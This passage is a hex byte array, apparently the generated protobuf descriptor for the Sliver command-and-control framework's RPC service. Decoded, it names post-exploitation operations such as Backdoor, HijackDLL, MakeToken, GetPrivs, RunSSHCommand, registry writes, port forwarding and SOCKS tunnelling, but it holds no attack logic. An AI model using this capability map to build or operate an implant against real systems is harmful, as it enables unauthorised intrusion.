0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, + 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, + 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, + 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, + 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, + 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, + 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, + 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, + 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, + 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, + 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, + 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, + 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, + 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, + 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, + 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, + 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, + 0x69, 0x73, 0x74, 0x12, 0x4d, 0x0a, 0x10, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, + 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x1d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, + 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, + 0x76, 0x65, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, + 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, + 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, + 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, + 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, + 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, + 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, + 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, + 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, + 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, + 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, + 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, + 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, + 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, + 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, + 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, + 0x12, 0x2e, 